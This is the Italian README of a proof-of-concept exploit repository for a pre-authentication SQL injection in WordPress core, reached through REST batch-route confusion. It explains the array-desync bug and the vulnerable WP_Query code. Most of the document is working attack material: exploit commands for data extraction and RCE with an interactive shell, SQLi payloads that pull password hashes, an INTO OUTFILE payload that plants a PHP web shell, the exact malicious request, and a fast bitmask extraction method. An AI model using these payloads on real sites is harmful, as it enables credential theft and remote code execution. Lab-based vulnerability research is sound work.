
PoC educativo + laboratorio per CVE-2026-63030 + CVE-2026-60137: SQLi pre-autenticazione nel core di WordPress tramite confusione del batch-route REST
PoC didattico e laboratorio per CVE-2026-63030 + CVE-2026-60137: SQL injection pre-autenticazione nel core di WordPress tramite confusione sulle route batch REST.
Scoperto da Adam Kues (Searchlight Cyber / Assetnote). Corretto in WordPress 6.9.5 / 7.0.2.
# avvia il laboratorio vulnerabile
cd docker && ./setup.sh
cd ..
# rilevamento
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# estrazione dati (modalità veloce, predefinita)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# estrazione dati (modalità blind, per confronto)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# query SQL personalizzata
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (richiede il privilegio FILE, che il laboratorio concede)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # shell interattiva
# proxy tramite Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# smantellamento
cd docker && ./setup.sh down
POST /wp-json/batch/v1 raggruppa più chiamate API REST in una singola richiesta HTTP. Non ha un controllo di autenticazione proprio. La sicurezza è demandata al callback dei permessi di ogni singola sotto-richiesta.
serve_batch_request_v1() costruisce due array paralleli:
$matches[] tiene traccia di quale handler deve distribuire ciascuna sotto-richiesta$validation[] tiene traccia se ciascuna sotto-richiesta ha superato la validazioneIndicizza entrambi con lo stesso offset durante la distribuzione. Il bug: quando il path di una sotto-richiesta fallisce in wp_parse_url(), un WP_Error viene aggiunto a $validation ma non a $matches. Questo sposta $matches di una posizione, così ogni sotto-richiesta successiva viene distribuita all'handler sbagliato.
Il desync viene usato due volte.
Batch esterno. Una richiesta /wp/v2/posts che trasporta un batch interno come corpo viene distribuita sotto l'handler batch (auto-chiamata). È stata validata come richiesta posts, quindi l'array requests interno non è mai stato verificato contro lo schema del batch. Questo aggira la allowlist dei metodi e consente alle sotto-richieste interne di usare GET.
Batch interno. Una richiesta /wp/v2/categories?author_exclude=<SQLI> viene distribuita sotto get_items() dei posts. Lo schema delle categorie non definisce author_exclude, quindi passa la validazione senza modifiche. Ma get_items() dei posts lo mappa a WP_Query::author__not_in, dove il valore viene interpolato grezzo in SQL.
Il codice vulnerabile di WP_Query sanificava author__not_in solo quando era già un array:
// PRE-FIX (vulnerabile)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitizza
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // interpolazione grezza
Un valore stringa bypassa completamente il controllo is_array(). Il cast (array) lo avvolge senza sanificarlo.
Leggere il database (ogni sito vulnerabile):
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
Oracolo booleano: post restituiti = vero, vuoto = falso. Ricerca binaria per ogni carattere.
Scrivere file (richiede il privilegio MySQL FILE, non è il default di WordPress):
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
La richiesta HTTP effettiva:
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
Come si disallineano gli array:
serve_batch_request_v1() processa le sotto-richieste in due cicli. Il primo
ciclo valida ogni sotto-richiesta e costruisce $matches[] e $validation[].
Il secondo ciclo distribuisce ogni sotto-richiesta usando $matches[$i] come
handler. Poiché l'errore del primer manca da $matches, il secondo ciclo
associa ogni richiesta all'handler sbagliato.
POST /?rest_route=/batch/v1 (anonimo, senza autenticazione)
|
v
LA RICHIESTA CHE INVII
+--------------------------------------------------------------+
| |
| Ciclo 1 (validazione): |
| [0] "http://" -> wp_parse_url fallisce |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| errore saltato in $matches |
| |
| Ciclo 2 (distribuzione): |
| i=0: errore -> salta |
| i=1: POST /posts usa $matches[1] = batch_handler |
| -> il corpo di posts viene eseguito come batch annidato |
| i=2: POST /batch usa $matches[2] = fuori dai limiti |
| |
+--------------------------------------------------------------+
|
v
BATCH ANNIDATO (serve_batch_request_v1 chiama se stessa sul corpo sopra)
+--------------------------------------------------------------+
| |
| Ciclo 1 (validazione): |
| [0] "http://" -> wp_parse_url fallisce |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Ciclo 2 (distribuzione): |
| i=0: errore -> salta |
| i=1: POST /categories usa $matches[1] = posts_handler |
| -> la richiesta categories è gestita da posts get_items() |
| -> author_exclude non è nello schema cats, non sanificato |
| -> posts lo mappa a WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
I PoC esistenti usano estrazione booleana blind: 1 bit per richiesta HTTP, circa 224 richieste per un hash di password. Questo repository combina due tecniche per un'estrazione ~75 volte più veloce.
Oracolo X-WP-Total. WordPress aggiunge SQL_CALC_FOUND_ROWS alle query dei post e mette il conteggio nell'header della risposta X-WP-Total. Le righe UNION vengono contate a livello SQL anche se PHP le filtra dal corpo della risposta. UNION condizionali codificano singoli bit:
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
... -- bit 2-6
-- -
X-WP-Total = 0 significa bit non impostato, 1 significa bit impostato. Sette probe = un carattere ASCII completo.
Batch interno illimitato. Il batch esterno valida maxItems: 25 tramite il suo schema. La confusione sulle route bypassa questo limite: il batch interno viene eseguito ricorsivamente senza alcun controllo sulla dimensione. Tutti i 7 bit-probe per più caratteri si compattano in una singola richiesta.
16 caratteri x 7 bit = 112 probe per richiesta. Un hash phpass di 34 caratteri in ~3 richieste invece di ~224.
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] uso oracolo booleano blind (ricerca binaria, 1 bit per richiesta)
[+] Versione MySQL: 8.0.46
[+] Utente database: wordpress@%
[+] Nome database: wordpress
[*] 198 richieste inviate
$ python3 -m exploit extract http://target --preset fingerprint
[*] uso oracolo bitmask X-WP-Total (16 caratteri/richiesta)
[+] Versione MySQL: 8.0.46
[+] Utente database: wordpress@%
[+] Nome database: wordpress
[*] 3 richieste inviate
Solo per test di sicurezza autorizzati e scopi didattici. Da usare esclusivamente contro sistemi di tua proprietà o per i quali hai esplicito permesso scritto di testare.